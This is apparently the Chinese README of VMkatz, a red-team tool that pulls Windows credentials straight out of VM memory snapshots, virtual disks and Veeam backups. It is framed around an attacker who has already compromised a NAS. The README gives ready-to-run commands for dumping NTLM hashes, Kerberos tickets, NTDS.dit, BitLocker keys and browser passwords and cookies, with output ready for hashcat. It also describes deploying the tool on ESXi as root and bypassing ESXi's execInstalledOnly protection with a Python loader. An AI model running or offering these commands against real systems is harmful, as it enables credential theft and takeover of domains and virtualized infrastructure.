直接从虚拟机内存快照和虚拟磁盘中提取Windows凭据
你已进入红队行动三周。你攻陷了一台连接到虚拟化集群的 NAS——数百 GB 的 .vmdk、.vmsn、.sav 就摆在那里。但你的链路只有 200 KB/s。仅外传一块 100 GB 的磁盘就需要六天。
VMkatz 的存在,是因为你不应该被迫外传那些可以就地读取的内容。它直接从 VM 文件中提取 Windows 凭据——内存快照、虚拟磁盘、Veeam 备份:NTLM 哈希、Kerberos 票据、DPAPI 主密钥、LSA 机密、NTDS.dit、BitLocker 密钥、浏览器机密。
单一静态二进制文件,约 3 MB。把它放到 ESXi 主机、Proxmox 节点或 NAS 上。指向一个 VM 文件夹,带走的是凭据,而不是磁盘镜像。
mimikatz 实现的全部 9 个 SSP 凭据提供程序:
| 提供程序 | 数据 | 说明 |
|---|---|---|
| MSV1_0 | NT/LM 哈希、SHA1 | 针对分页条目的物理扫描回退 |
| WDigest | 明文密码 | 链表遍历 + .data 回退 |
| Kerberos | AES/RC4/DES 密钥、票据(.kirbi/.ccache) | AVL 树遍历 + 针对已释放会话的票据雕刻 |
| TsPkg | 明文密码 | 仅 RDP 会话 |
| DPAPI | 主密钥缓存(GUID + 解密密钥) | 用于离线 DPAPI 解密的 SHA1 主密钥 |
| SSP | 明文凭据 | msv1_0.dll 中的 SspCredentialList |
| LiveSSP | 明文凭据 | 需要 livessp.dll(Win8 之后罕见) |
| Credman | 存储的凭据 | 哈希表 + 单链表枚举 |
| CloudAP | Azure AD 令牌 | 对于仅本地登录通常为空 |
此外:从内存中提取 BitLocker FVEK(针对 FVEc/Cngb 的池标签扫描)。
$DPAPImk$ — 模式 15300/15310/15900/15910)| 格式 | 扩展名 | 来源 | 状态 |
|---|---|---|---|
| VMware 快照 | .vmsn + .vmem | Workstation、ESXi | 已测试 |
| VMware 嵌入式快照 | .vmsn(无 .vmem) | ESXi 挂起 | 已测试 |
| VirtualBox 保存状态 | .sav | VirtualBox | 已测试 |
| QEMU/KVM savevm 状态 | 自动检测 | Proxmox、QEMU | 已测试 |
| QEMU/KVM ELF 核心转储 | .elf | virsh dump | 已测试 |
| Hyper-V 保存状态 | .vmrs | Hyper-V 2016+ | 已测试 |
| Veeam 备份 | .vbk、.vib、.vrb | Veeam B&R | 已测试 |
| VMware 虚拟磁盘 | .vmdk(稀疏 + 扁平) | Workstation、ESXi | 已测试 |
| VirtualBox 虚拟磁盘 | .vdi | VirtualBox | 已测试 |
| QEMU/KVM 虚拟磁盘 | .qcow2 | QEMU、Proxmox | 已测试 |
| Hyper-V 虚拟磁盘 | .vhdx、.vhd | Hyper-V | 已测试 |
| VMFS-5/6 原始 SCSI 设备 | /dev/disks/... | ESXi(绕过文件锁) | 已测试 |
| LVM 块设备 | /dev/... | Proxmox LVM-thin | 已测试 |
| 原始注册表配置单元 | SAM、SYSTEM、SECURITY | reg save | 已测试 |
| 原始 NTDS.dit | ntds.dit + SYSTEM | 域控制器 | 已测试 |
| LSASS 小型转储 | .dmp | procdump、任务管理器 | 已测试 |
| VM 目录 | 任意文件夹 | 自动发现所有文件 | 已测试 |
目标操作系统:Windows Server 2003 至 Windows Server 2025 / Windows 11 24H2(x86 PAE + x64)。
# Extract LSASS credentials from a VMware snapshot
./vmkatz snapshot.vmsn
# With pagefile resolution for paged-out creds
./vmkatz --disk disk.vmdk snapshot.vmsn
# Extract SAM/LSA/DCC2 from a virtual disk
./vmkatz disk.vmdk
# Extract AD hashes from a domain controller disk
./vmkatz --ntds dc-disk.qcow2
# Point at a VM folder and let it find everything
./vmkatz /path/to/vm-directory/
# Extract from raw registry hives
./vmkatz SAM SYSTEM SECURITY
# Output as hashcat-ready hashes
./vmkatz --format hashcat snapshot.vmsn
# Export Kerberos tickets
./vmkatz --kirbi snapshot.vmsn # .kirbi files
./vmkatz --ccache snapshot.vmsn # .ccache file
# Export BitLocker FVEK for dislocker
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
# Recursively scan all VMs under a path
./vmkatz -r /vmfs/volumes/datastore1/
# Parse LSASS minidump
./vmkatz lsass.dmp
# Extract from Hyper-V saved state
./vmkatz guest.vmrs
# Extract from Veeam backup (build with --features veeam)
./vmkatz backup.vbk
./vmkatz --veeam-list backup.vbk # List disk images
./vmkatz --veeam-extract backup.vbk # Extract raw disk
| 格式 | 标志 | 描述 |
|---|---|---|
text | --format text(默认) | 包含会话元数据的完整凭据转储 |
brief | --format brief | 每个凭据一行的紧凑摘要 |
ntlm | --format ntlm | DOMAIN\user:::hash::: pwdump 格式 |
hashcat | --format hashcat | 原始哈希:模式 1000(NTLM)、2100(DCC2)、15300/15900(DPAPI) |
csv | --format csv | 机器可读,包含所有字段 |
# Cross-compile for ESXi (musl static)
cargo build --release --target x86_64-unknown-linux-musl
# Upload and run
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn
当启用 VIB 保护(execInstalledOnly)时,请使用 Python 加载器——无需禁用该设置:
scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn
有关 VIB 绕过细节、VMFS 原始设备访问和自动发现,请参阅 docs/esxi.md。
VMkatz 采用模块化设计。特性可在编译时启用/禁用:
| 特性 | 描述 | 默认 |
|---|---|---|
vmware | VMware .vmsn/.vmem 快照支持 | 是 |
vbox | VirtualBox .sav 保存状态支持 | 是 |
qemu | QEMU/KVM ELF 核心转储 + Proxmox savevm | 是 |
hyperv | Hyper-V .vmrs/.bin/.raw 转储支持 | 是 |
sam | 磁盘提取(SAM/LSA/DCC2)+ 磁盘格式处理程序 | 是 |
ntds.dit | NTDS.dit AD 提取。需要 sam | 是 |
carve | 从部分/截断内存中进行降级提取 | 是 |
dump | 将进程内存转储为 minidump | 是 |
vmfs | 用于 ESXi SCSI 设备的 VMFS-5/6 原始解析器。需要 sam | 是 |
chrome | 浏览器机密提取(Chromium + Firefox)。需要 sam | 否 |
veeam | Veeam VBK/VIB/VRB 备份支持。需要 sam | 否 |
cargo build --release # Full build
cargo build --release --no-default-features --features vmware # VMware only
cargo build --release --no-default-features --features "sam ntds.dit" # Disk only
cargo build --release --features chrome # Add chrome module
cargo build --release --features veeam # Add Veeam backup support
可选的 chrome 模块通过离线 DPAPI 解密,从 Chromium 系列浏览器(Chrome、Edge、Brave、Vivaldi、Opera)中提取已保存的密码、Cookie 和自动填充数据。使用 --features chrome 构建,使用 --chrome 启用。
支持 Chrome v10(os_crypt.encrypted_key)和 v20 App-Bound Encryption(Chrome ≥127)。可从磁盘、内存+磁盘(混合)或两者结合的方式工作。
./vmkatz --chrome disk.vmdk # Disk-only
./vmkatz --chrome --chrome-password vagrant disk.vmdk # With extra password
./vmkatz --chrome --disk disk.vmdk snapshot.vmsn # Hybrid mem+disk
./vmkatz --chrome --chrome-json disk.vmdk # JSON output
对于域用户(其凭据不在本地 SAM 中),使用
--chrome-password 配合已知明文,或使用 --chrome-nthash 配合 NT
哈希来解锁其浏览器机密。